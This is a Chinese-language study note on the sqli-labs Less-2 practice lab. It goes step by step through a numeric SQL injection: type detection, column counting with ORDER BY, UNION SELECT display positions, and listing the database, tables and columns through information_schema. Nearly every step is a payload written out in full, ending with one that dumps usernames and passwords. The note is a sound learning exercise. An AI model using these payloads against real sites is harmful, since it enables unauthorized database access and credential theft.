sqli-labs学习笔记2
less-2
打开靶场
和第一关差不多的回显。
判断注入类型
id=1
正常回显
id=1’
报错回显。
再输入id=1’–+
仍然报错,可能不是字符型的注入。
输入id=1 and 1=1
输入id=1 and 1=2
报错了,应该是数字型注入。
确定字段数
id=1 order by 3 --+
回显正常
id=1 order by 4 --+
报错,确定字段数为3
判断回显位
id=-1 union select 1,2,3 --+
回显位置为2和3.
爆破数据库名与数据库版本
id=-1 union select 1,database(),version() --+
回显了对应的数据库名与数据库版本
爆破数据库表
id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’ --+
爆破表的字段名
id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’ --+
爆破表的数据
id=-1 union select 1,2,group_concat(username,id,password) from users --+
源代码分析
可以看到在后台执行sql语句的地方,sql语句对传入的id参数并没有进行用单引号包括,这里与第一关不同,所以这一关用的是数字型的注入。